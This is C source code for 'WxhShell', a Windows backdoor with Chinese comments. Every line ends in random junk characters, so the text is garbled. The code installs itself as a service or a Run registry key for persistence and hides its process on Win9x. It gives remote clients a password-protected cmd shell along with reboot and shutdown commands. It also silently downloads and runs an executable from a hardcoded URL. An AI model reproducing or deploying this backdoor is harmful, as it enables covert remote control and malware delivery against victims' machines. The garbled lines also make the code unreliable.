    ExitThread(0); 5ZMR,SZhC  
    } :yeq(o K,  
    break; ~:3QBMk::  
    } 4*e0 hWp  
  // 关机 59O?_F9  
  case 'd': { )FpZPdN+h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XI22+@d6  
    if(Boot(SHUTDOWN)) ; =X P&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }lfnnK#  
    else { $aN&nhoO<  
    closesocket(wsh); /XhIx\40 l  
    ExitThread(0); r9 !Tug*>m  
    } F@<CsgKB-  
    break; *g[^.Sg  
    } ^sVX)%  
  // 获取shell j{Txl\D>  
  case 's': { ,ztI,1"k  
    CmdShell(wsh); n(L\||#+  
    closesocket(wsh); qU#BJON]BR  
    ExitThread(0); w0C~*fn3l  
    break; zJ)*Z,7  
  } p\JfFfC  
  // 退出 p~9vP)74u  
  case 'x': { C\di7z:  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8'f4 Od ?  
    CloseIt(wsh); e(I =^#u6  
    break; FKT1fv[H  
    } ~d6DD;`K  
  // 离开 <_XWWT%  
  case 'q': { 86\S?=J-b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -$WYj "  
    closesocket(wsh); k5C@>J  
    WSACleanup(); '*k'i;2/1  
    exit(1); 4=Krq6{  
    break; kjtjw1\o  
        } hYM@?/(q  
  } ]@0NO;bK>F  
  } =<NljOR4`  
tc!wLnhG  
  // 提示信息 FN%m0"/Z{t  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,iv|Pq $!  
} ^pe{b9c  
  } 9> g,  
8G5m{XTS(  
  return; ]s GHG^I6  
} 8krpowVs~  
yNqe8C,>e  
// shell模块句柄 IrWD%/$H  
int CmdShell(SOCKET sock) ty*@7g0k  
{ X0M1(BJgGo  
STARTUPINFO si; A^2Uzmzl?  
ZeroMemory(&si,sizeof(si)); qg}O/K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _Jt 2YZdA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; NU*fg`w  
PROCESS_INFORMATION ProcessInfo; A6pjRxg  
char cmdline[]="cmd"; V]vc(rH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =pk)3<GwF  
  return 0; -M1YE  
} _+^ 2^TW  
Z+StB15  
// 自身启动模式 pIKSs<IP  
int StartFromService(void) ~~6^Sh60g  
{ $8'O  
typedef struct h'$ 9C  
{ Xe^Cn R  
  DWORD ExitStatus; 7zv1 wb  
  DWORD PebBaseAddress; H=\!2XS  
  DWORD AffinityMask; PGARXw+  
  DWORD BasePriority; W5'3$,X9  
  ULONG UniqueProcessId; 'D%w|Pe?Q  
  ULONG InheritedFromUniqueProcessId; yx<WSgWZ[  
}   PROCESS_BASIC_INFORMATION; @mBX~ ?=Z3  
KV*xApb9y  
PROCNTQSIP NtQueryInformationProcess; AT\qiznvP  
fVM`-8ZTq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ]l(wg]  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; a!mf;m  
R3!@?mcr  
  HANDLE             hProcess; \AC|?/sH  
  PROCESS_BASIC_INFORMATION pbi; Vm|Y$ C  
$L2%u8}8:  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .<K iMh  
  if(NULL == hInst ) return 0; N*@aDM07  
2EK%N'H  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _"%B7FK  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); [*Z`Kc  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hHPs&EA.p  
n 8pt\i0  
  if (!NtQueryInformationProcess) return 0; wCHR7X0*b  
n3`&zY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); NKmoG\*  
  if(!hProcess) return 0; -.|4Y#b:&  
07/L}b`P  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Zv_jy@k  
4A3nO<o MF  
  CloseHandle(hProcess); n6(.{M;  
?~QIALA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _NcY I  
if(hProcess==NULL) return 0; EOoZoVdzx  
u<n`x6gL  
HMODULE hMod; 1[*{(e  
char procName[255]; )!Bd6-  
unsigned long cbNeeded; S',9g4(5  
M@thI%lR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6st^4S5  
]}UgS+g>$  
  CloseHandle(hProcess); -[Qvg49jy  
lZQ /W:OE  
if(strstr(procName,"services")) return 1; // 以服务启动 ?K@t0a   
9%IlW  
  return 0; // 注册表启动 M- 0i7%  
} /"ymZI!k\  
C`'W#xnp1  
// 主模块 ;p ]y)3  
int StartWxhshell(LPSTR lpCmdLine) t+nRw?Z  
{ 1|?K\B  
  SOCKET wsl; UHGcnz<  
BOOL val=TRUE; = zl= SLe  
  int port=0; IOK}+C0e  
  struct sockaddr_in door; x>~p;z#VX  
AA:no=  
  if(wscfg.ws_autoins) Install(); ^I]{7$6^  
0 3~Ikll  
port=atoi(lpCmdLine); ^\:2}4Uj_  
y>\S@I  
if(port<=0) port=wscfg.ws_port; gNx+>h`AF  
{5%/T,  
  WSADATA data; c0 WFlj9b  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A.Bk/N1G  
 0v^:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   RH~3M0'0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <SVmOmJ-K  
  door.sin_family = AF_INET; M@p"y q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L<(VG{)Z  
  door.sin_port = htons(port); +dkS/b  
Q;nAPS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *T4<&  
closesocket(wsl); 8G ]w,eF  
return 1; ODf4+& u  
} Oe1 t\  
uG>nV  
  if(listen(wsl,2) == INVALID_SOCKET) { S2~@nhO`U(  
closesocket(wsl); ,M3z!=oIGn  
return 1; J< JBdk  
} xfSG~csoz  
  Wxhshell(wsl); 3z{S}~  
  WSACleanup(); 2r ];V'r  
G5Q!L;3HZ  
return 0; 8o)L,{yl  
. 9 LL+d  
} a%hGZCI  
i ilyw_$H  
// 以NT服务方式启动 =:h3w#_c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \Kd7dK9&]  
{ 9u wL{P&  
DWORD   status = 0; JZ`L%  
  DWORD   specificError = 0xfffffff; T{*^_  
L)-*,$#<oW  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '=} Y2?(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; /BH.>R4`A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0 15Owi  
  serviceStatus.dwWin32ExitCode     = 0;  SNvb1&  
  serviceStatus.dwServiceSpecificExitCode = 0; >zL |8f  
  serviceStatus.dwCheckPoint       = 0; {e]NU<G ,  
  serviceStatus.dwWaitHint       = 0; gw Qvao  
qtSs)n  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Xyv8LB  
  if (hServiceStatusHandle==0) return; 0->/`/xm  
p[YWSjf  
status = GetLastError(); :$"7-a %f  
  if (status!=NO_ERROR) 6MrKi|'X@  
{ ItK  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8wi A  
    serviceStatus.dwCheckPoint       = 0; B- Y+F  
    serviceStatus.dwWaitHint       = 0; \7E`QY4  
    serviceStatus.dwWin32ExitCode     = status; oofFrAaT  
    serviceStatus.dwServiceSpecificExitCode = specificError; xbC~ C~#  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Js}tZ\+P75  
    return; 4]UT+'RubX  
  } >=!AL,:  
?@a$!_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; WzG07 2w  
  serviceStatus.dwCheckPoint       = 0; P`sN&Y~m  
  serviceStatus.dwWaitHint       = 0; vug-n 8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ZA.fa0n  
} Am7| /  
}'jV/  
// 处理NT服务事件,比如:启动、停止 ct\<;I(H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) p#b{xK  
{ R+^zy"~  
switch(fdwControl) |!re8|JV_  
{ /s-d?  
case SERVICE_CONTROL_STOP: #5d8?n  
  serviceStatus.dwWin32ExitCode = 0; zZYHc?Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Orc>.~+f%A  
  serviceStatus.dwCheckPoint   = 0; [ i9[Mj  
  serviceStatus.dwWaitHint     = 0; }9Q f#&o  
  { t/LgHb:)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dKe@JQ+-z  
  } 7S2c|U4IM  
  return; 4H7Oh*P\j  
case SERVICE_CONTROL_PAUSE: 0(vdkC4\A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <"ae4  
  break; Et0&E  
case SERVICE_CONTROL_CONTINUE: _&mc8ftT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Ko-QR(  
  break; *C/KM;&  
case SERVICE_CONTROL_INTERROGATE: MVuP |&:n  
  break; </hR!Sb]  
}; ]84YvpfW  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &`sR){R  
} sBB:$X  
]h!*T{:  
// 标准应用程序主函数 #?5VsD8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ,|QU] E @  
{ [R$liN99z;  
u dUXc6U  
// 获取操作系统版本 I9:%@g]uYw  
OsIsNt=GetOsVer(); dff#{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 7\ZL  
jM;d>Gymx  
  // 从命令行安装 k#-[ M.i  
  if(strpbrk(lpCmdLine,"iI")) Install(); TQ2i{e  
*U2Ck<"]  
  // 下载执行文件 X{|k<^:  
if(wscfg.ws_downexe) { tpd|y|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) x6~Fb~aP  
  WinExec(wscfg.ws_filenam,SW_HIDE); u4xA'X'~R  
} QJ6f EV$~  
b__n~\q_  
if(!OsIsNt) { I$F\(]"@  
// 如果时win9x,隐藏进程并且设置为注册表启动 R =QM;  
HideProc(); Cb<~i  
StartWxhshell(lpCmdLine); RDJ82{  
} i|[S5QXCh  
else <|wmjW/ D  
  if(StartFromService()) @)06\ h  
  // 以服务方式启动 g<;Nio  
  StartServiceCtrlDispatcher(DispatchTable); ir"* iL=  
else "%Lmgy:~  
  // 普通方式启动 (''$' 5~  
  StartWxhshell(lpCmdLine); 5@""_n&FV  
CVi<~7Am\  
return 0; MEDskvBG  
} rjt O`Mt`  
M~#5/eRX  
%9cqJ]S  
'$lw[1  
=========================================== @)+i{Niuv  
Pm'.,?"  
FP0<-9DO  
QZ_nQ3K  
!Q\X)C  
g(M(Hn7  
" I*%&)Hj~  
G`&'Bt{Z*  
#include <stdio.h> t^dakL  
#include <string.h> InTKdr^ P  
#include <windows.h> O7E;W| ]  
#include <winsock2.h> 8'>.#vyMGv  
#include <winsvc.h> i,\t]EJAU  
#include <urlmon.h> H 7 o$O  
'Sm/t/g"|  
#pragma comment (lib, "Ws2_32.lib")  W\zL  
#pragma comment (lib, "urlmon.lib") ZhxfI?i)l  
a .B\=3xn  
#define MAX_USER   100 // 最大客户端连接数 t(Cq(.u`:  
#define BUF_SOCK   200 // sock buffer :z}~U3,JE  
#define KEY_BUFF   255 // 输入 buffer C&qDvvk  
5k_Mj* {6  
#define REBOOT     0   // 重启 $Ykp8u,(  
#define SHUTDOWN   1   // 关机 +X4ttv  
J:k@U42  
#define DEF_PORT   5000 // 监听端口 Vz+=ZK r5  
-#:Y+"'  
#define REG_LEN     16   // 注册表键长度 ?3e!A9x  
#define SVC_LEN     80   // NT服务名长度 [ 7CH(o1a&  
AF07KA#  
// 从dll定义API 9'1;-^U1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H>Iet}/c   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `-E.n'+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u/K)y:ZZ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UwzE'#Q-  
8=b{'s^^F  
// wxhshell配置信息 M ?: f^  
struct WSCFG { >(YPkmH  
  int ws_port;         // 监听端口 +;4AG::GN  
  char ws_passstr[REG_LEN]; // 口令 J/H#d')c  
  int ws_autoins;       // 安装标记, 1=yes 0=no ;Ln7_  
  char ws_regname[REG_LEN]; // 注册表键名 O=9VX  
  char ws_svcname[REG_LEN]; // 服务名 n[S41809<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 h1D~AgZOVj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 J,&`iL-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vf\?^h(tP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no [0%Gu 5_\  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" D[FfJcV'$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *RqO3=  
g~WNL^GGS  
}; oVxV,oH(  
1&>nL`E[3  
// default Wxhshell configuration  Cq~ah  
struct WSCFG wscfg={DEF_PORT, 5i wikC=y  
    "xuhuanlingzhe", 9-e[S3ziM  
    1, \?Oly171  
    "Wxhshell", c Gaz$=/  
    "Wxhshell", \!4ghev3  
            "WxhShell Service", "ZK5P&d  
    "Wrsky Windows CmdShell Service", <8xP-(wk;  
    "Please Input Your Password: ", ]!S)O|_D[  
  1, Aj)< 8  
  "http://www.wrsky.com/wxhshell.exe",  C.TCDl  
  "Wxhshell.exe" QP-<$P;~  
    }; ;V}FbWz^v6  
vGMOXbq4&  
// 消息定义模块 1rzq$,O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ."#jN><t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ot:\h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @8 yE(  
char *msg_ws_ext="\n\rExit."; VAB&&AL  
char *msg_ws_end="\n\rQuit."; "T=3mv%S  
char *msg_ws_boot="\n\rReboot..."; yP=isi#dDY  
char *msg_ws_poff="\n\rShutdown..."; ,Elga}7u  
char *msg_ws_down="\n\rSave to "; 7{/:,  
"1j\ZCXK_Z  
char *msg_ws_err="\n\rErr!"; Y.hH fSp  
char *msg_ws_ok="\n\rOK!"; {G*:N[pJp  
zR/p}Wu|!  
char ExeFile[MAX_PATH]; p?gLW/n  
int nUser = 0; y<LwrrJ>  
HANDLE handles[MAX_USER]; 4uE5h~0Z  
int OsIsNt; :+V1682u  
e4_aKuA  
SERVICE_STATUS       serviceStatus; QCY{D@7T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  ,IvnNnl2  
nO7o7bc  
// 函数声明 }4ghT(C}$  
int Install(void); X52jqXjg  
int Uninstall(void); !JQ~r@j  
int DownloadFile(char *sURL, SOCKET wsh); nQYS{`hk  
int Boot(int flag); .j'IYlv/P  
void HideProc(void); U;A5-|C  
int GetOsVer(void); ~q%9zO'  
int Wxhshell(SOCKET wsl);  $.]t1e7s  
void TalkWithClient(void *cs); s&_O2(l  
int CmdShell(SOCKET sock); s^X/ Om  
int StartFromService(void); ?g*T3S"  
int StartWxhshell(LPSTR lpCmdLine);  O,,n  
fvAV[9/-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Jn[ K0GV  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); - 5Wt9  
z00:59M4  
// 数据结构和表定义 h sw My  
SERVICE_TABLE_ENTRY DispatchTable[] = '\mZ7.Jj  
{ z4`n%~w1b  
{wscfg.ws_svcname, NTServiceMain}, [(UqPd$  
{NULL, NULL} uR @Wv^  
}; i/EiUH/~  
v})Ti190  
// 自我安装 iiDkk  
int Install(void) `A{~}6jw  
{ 8GZjIW*0oq  
  char svExeFile[MAX_PATH]; 9wJmX<Rm  
  HKEY key; U8Jj(]},_  
  strcpy(svExeFile,ExeFile); Id 7  
@Lv_\^2/}  
// 如果是win9x系统,修改注册表设为自启动 ~\IDg/9 Cj  
if(!OsIsNt) { Q&'Nr3H#tZ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3Qr!?=nf  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  M!DoR6  
  RegCloseKey(key); ?vNS!rY2&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /;$ew~}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rbS= Ewk  
  RegCloseKey(key); g]Ny?61  
  return 0; Sf:lN4  
    } %4^/.) Q  
  } x=+I8Q4:  
} A2bV[+Q  
else { 6oBt<r?CJ  
SO<K#HfE$?  
// 如果是NT以上系统,安装为系统服务 HUI!IOh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); w%H#>k  
if (schSCManager!=0) g*AqFY7|  
{ 7+-}8&s yu  
  SC_HANDLE schService = CreateService AG0x)  
  ( oh~Dbu=%  
  schSCManager, jC8BLyGE_  
  wscfg.ws_svcname, 2`eu3vA  
  wscfg.ws_svcdisp, 'Em($A (  
  SERVICE_ALL_ACCESS, ;9sVWJJCw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #(4hX6?5AI  
  SERVICE_AUTO_START, "t`e68{Ls  
  SERVICE_ERROR_NORMAL, /qze  
  svExeFile, ?`}U|]c  
  NULL, 4Lb<#e13R?  
  NULL, o>%W7@Pr  
  NULL, LEa:{s<:  
  NULL, []^>QsS(X  
  NULL k_`S[  
  ); +y#979A,  
  if (schService!=0) O$^YUHD  
  { :9qB{rLi}  
  CloseServiceHandle(schService); x B[# a*  
  CloseServiceHandle(schSCManager); gI{F"7fa=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M#|xj <p  
  strcat(svExeFile,wscfg.ws_svcname); ^jA^~h3(W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r?7 ^@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); %hQ`b$07t  
  RegCloseKey(key); BpE[9N  
  return 0; zqn*DbT  
    } D=]P9XDvb.  
  } LYv2ll`XP  
  CloseServiceHandle(schSCManager); b5C #xxIO  
} ^2tCDm5  
} ,)8Hl[y  
!;oBvE7Kh  
return 1; $^F2  
} [c~zO+x  
35et+9  
// 自我卸载 <L 0_< T  
int Uninstall(void) I.x>mN -0  
{ rv>6k:(  
  HKEY key; y6\#{   
3f x!\  
if(!OsIsNt) { 5@\<:Zmi  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .v'8G)6g  
  RegDeleteValue(key,wscfg.ws_regname); ?:c hAN@  
  RegCloseKey(key); K+H82$ #  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &40d J~SQ  
  RegDeleteValue(key,wscfg.ws_regname); i=rW{0c%  
  RegCloseKey(key); bcg)K`'N  
  return 0; Hr'#0fW  
  } ) Lv{  
} z841g `:C  
} bK7DGw`1  
else { H>?@nYP  
YjT #^AH  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~V4|DN[I  
if (schSCManager!=0) ?Eed#pb_  
{ )U?W+0[=  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =W?c1EPLCx  
  if (schService!=0) ^;e`ZtcI  
  { OXo-(HLE  
  if(DeleteService(schService)!=0) { ]|oqJ2P  
  CloseServiceHandle(schService);  GU9`;/  
  CloseServiceHandle(schSCManager); x.aUuC,$x  
  return 0; JT<J[Qz5  
  } n!2|;|$}Z  
  CloseServiceHandle(schService); p O.8>C%  
  } D  UeT  
  CloseServiceHandle(schSCManager); /TdTo@  
} ; 1WclQ!(  
} ft5Bk'ZJ  
UqH7ec  
return 1; [(1O_X(M  
} tpS F[W  
|2 Dlw]d  
// 从指定url下载文件 p<YO3@B+  
int DownloadFile(char *sURL, SOCKET wsh) iw%DQ }$  
{ Wr;)3K  
  HRESULT hr; 6%? NNEM  
char seps[]= "/"; iJcl0)|  
char *token; a v/=x  
char *file; ,QDq+93  
char myURL[MAX_PATH]; d-4u*>  
char myFILE[MAX_PATH]; ({)_[dJ'  
i ):el=  
strcpy(myURL,sURL); ezL*YM8?@  
  token=strtok(myURL,seps); 0kDT:3  
  while(token!=NULL) h<uQ~CQg  
  { L^22,B 0  
    file=token; 8`+X6iZOQ  
  token=strtok(NULL,seps); Mc.KLz&,FC  
  } 2- )Ml*  
7+0hIKrFC  
GetCurrentDirectory(MAX_PATH,myFILE); |Q$C%7  
strcat(myFILE, "\\"); 0]T ;{  
strcat(myFILE, file); 0pu'K)Rb  
  send(wsh,myFILE,strlen(myFILE),0); bF3j*bpO"  
send(wsh,"...",3,0); HtMlSgx,8>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6rk/74gI,a  
  if(hr==S_OK) v<O\ l~S  
return 0; E;N+B34  
else Vi]D](^!  
return 1;  iGR(  
; qvZ*  
} *H;&hq  
E3`KO'v%  
// 系统电源模块 q.#aeqKBP  
int Boot(int flag) yfV{2[8ux  
{ c$p1Sovw  
  HANDLE hToken; SN+&'?$WD  
  TOKEN_PRIVILEGES tkp; :QN,T3i'/3  
k (Ow.nkb  
  if(OsIsNt) { n32?GRp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1wwhTek  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); -i 9/1.Z  
    tkp.PrivilegeCount = 1; `W"-jz5#=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; U9Y'eP.2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CnAhEf)b  
if(flag==REBOOT) { e{"d6pF=  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) l.C {Ar  
  return 0; VGTo$RH  
} $WdZAv\_S  
else { 2t_E\W7w+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ')_jK',1  
  return 0; 9) wjVk  
} 3n X7$$X  
  } wd u>3Ch"y  
  else { dNIY `u  
if(flag==REBOOT) { XfB;^y=u8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^E>}A  
  return 0; 5o&L|7]  
} `,TPd ~#~  
else { 2H4+D)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) aFKks .n3  
  return 0; LM0 TSB?  
} DT_012 z  
} NmK%k jCx  
RL($h4d9  
return 1; IDv@r\Xw  
} iPxSVH[  
ZSxKk6n}J  
// win9x进程隐藏模块 Ie``W b=  
void HideProc(void) G>cTqD6gT  
{ 'tF<7\!  
n1$p esr  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); l@## Ex9  
  if ( hKernel != NULL ) t'~:me!  
  { h%#@Xd>.  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (gz|6N  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }k'8*v}8  
    FreeLibrary(hKernel); D4_D{\xhO  
  } 'M YqCfIK  
aNfgSo05@n  
return; 0p! [&O  
} N/]TZu~k z  
V.;0F%zks5  
// 获取操作系统版本 ,X+071.(  
int GetOsVer(void) -K+grsb g  
{ @ -g^R4e<  
  OSVERSIONINFO winfo; I C7n;n9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >KC*xa"  
  GetVersionEx(&winfo); }?"f#bI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CEt_wKz f  
  return 1; & 9IMZAo  
  else F^KoEWj[H  
  return 0; R~)c(jj5  
} <Eq^r h  
dc"Vc 3)  
// 客户端句柄模块 d7P| x  
int Wxhshell(SOCKET wsl) $  5  
{ t:$p8qR  
  SOCKET wsh; O]i}r`E8,  
  struct sockaddr_in client; BwrMRMq"  
  DWORD myID; I x-FJF-  
kVZ>Dc2M  
  while(nUser<MAX_USER) a!4'}gHR  
{ h?fv:^vSi  
  int nSize=sizeof(client); )";g*4R[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4LKOBiEM  
  if(wsh==INVALID_SOCKET) return 1; znX2W0V  
%]RzC`NZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B3e{'14  
if(handles[nUser]==0) P#"vlNa  
  closesocket(wsh); 6d`6=D:  
else TE^BfAw@  
  nUser++; :E]A51  
  } wQ@@|Cj4L  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 99H&#!~bSS  
B4_0+K H  
  return 0; Fp|x,-  
} N^CD4l  
jcv3ES^  
// 关闭 socket [P,1UO|$B  
void CloseIt(SOCKET wsh) tb^3-ZUb  
{ og!Uq]U/y  
closesocket(wsh); :W8DgL>l  
nUser--; Sh}AGNE'  
ExitThread(0); ``K.4sG  
} IgQW 5E#  
[gQ*y~N  
// 客户端请求句柄 NA!;#!  
void TalkWithClient(void *cs) 5}E8Tl  
{ HmAA?J}  
dGTAZ(1W  
  SOCKET wsh=(SOCKET)cs; Azq,N@HO  
  char pwd[SVC_LEN]; E;9SsA  
  char cmd[KEY_BUFF]; \HV%579  
char chr[1]; b:Wl B[5  
int i,j; N@)tU;U3O  
hA/K>Z  
  while (nUser < MAX_USER) { SP 97Q-  
+wgNuj0=*  
if(wscfg.ws_passstr) {  J$v0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); aB#qzrr['8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CXb)k.L   
  //ZeroMemory(pwd,KEY_BUFF); a$l/N{<.  
      i=0; "#qyX[\  
  while(i<SVC_LEN) { Nq"/:3@4  
Cj31'  
  // 设置超时 -_4U+Cfmtl  
  fd_set FdRead; wBA[L}  
  struct timeval TimeOut; Yhb=^)@))  
  FD_ZERO(&FdRead); w f,7  
  FD_SET(wsh,&FdRead); Lg sQz(-  
  TimeOut.tv_sec=8; 9=&LMjTQ  
  TimeOut.tv_usec=0; 8m2-fuJz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7fgA)dU:K  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .UU BAyjm  
&w- QMj M>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #y~^!fdp9  
  pwd=chr[0]; ry/AF  
  if(chr[0]==0xd || chr[0]==0xa) { ;SEH|_/  
  pwd=0; kViX FPW  
  break; /q ;MihK  
  } k"LbB#Q  
  i++; pBG(%3PpW  
    } A_muuOIcI  
4Sfv  
  // 如果是非法用户,关闭 socket )ZEUD] X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pkWzaf  
} wyMj^+ 2m  
A<C`JN}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); NU-({dGK}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ayadvi(@P  
s"*zyLUUo  
while(1) { mA|!IhM  
\`Db|D?oy  
  ZeroMemory(cmd,KEY_BUFF); Ig-9Y;hdmn  
!i&^H,  
      // 自动支持客户端 telnet标准   Rf+ogLa=  
  j=0; =cs;avtL  
  while(j<KEY_BUFF) { >%h_ R:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uHkL$}C  
  cmd[j]=chr[0]; )c b e 4  
  if(chr[0]==0xa || chr[0]==0xd) { -n?}L#4%8  
  cmd[j]=0; x JQde 4  
  break; U N1HBW;  
  } &B1d+.+  
  j++; ,a9<\bd)  
    } yQ?N*'}$  
kL 6f^MoL  
  // 下载文件 +R@5e+auQ.  
  if(strstr(cmd,"http://")) { "gADHt=MIR  
